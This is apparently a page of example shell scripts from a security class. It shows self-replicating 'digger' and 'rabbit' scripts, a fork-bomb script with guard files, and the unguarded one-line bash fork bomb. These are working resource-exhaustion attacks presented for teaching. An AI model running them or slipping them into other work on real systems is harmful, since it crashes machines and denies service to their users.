Example Scripts used in class

Remember, if you're going to play with these sorts of things, run them on your own machines only.


digger1.sh

#!/bin/sh
#
# This script makes as deep a subdirectory tree as it can.
#

# protection against accidental invocation
if [ ! -e /tmp/digger.go ]; then
   echo "Terminating $0"
   exit 1
fi

# Give some idea of how deep we're digging
echo -n "."

# Dig
target=$$
mkdir $target
cp $0 $target/
cd $target
$0

digger2.sh

#!/bin/sh
#
# This script makes as deep a subdirectory tree as it can.
#

# protection against accidental invocation
if [ ! -e /tmp/digger.go ]; then
   echo "Terminating $0"
   exit 1
fi

# Give some idea of how deep we're digging
echo -n "."

# Dig
target=$$
mkdir $target
cp $0 $target/
cd $target
exec $0

rabbit.sh

#!/bin/sh
#
# A simple rabbit (scamper) example
#

# protection against accidental invocation
if [ ! -e /tmp/rabbit.go ]; then
   echo "Terminating $0"
   exit 1
fi

# spawn child
$0 &

exit 0

forkbomb.sh

#!/bin/sh
#
# A simple fork-bomb (rabbit resource-exhaustion) example
#

# protection against accidental invocation
if [ ! -e /tmp/bomb.go ]; then
   echo "Terminating $0"
   exit 1
fi

# child #1
$0 &

# child #2
$0 &

exit 0

The bash forkbomb

bash$ :(){:|:;};: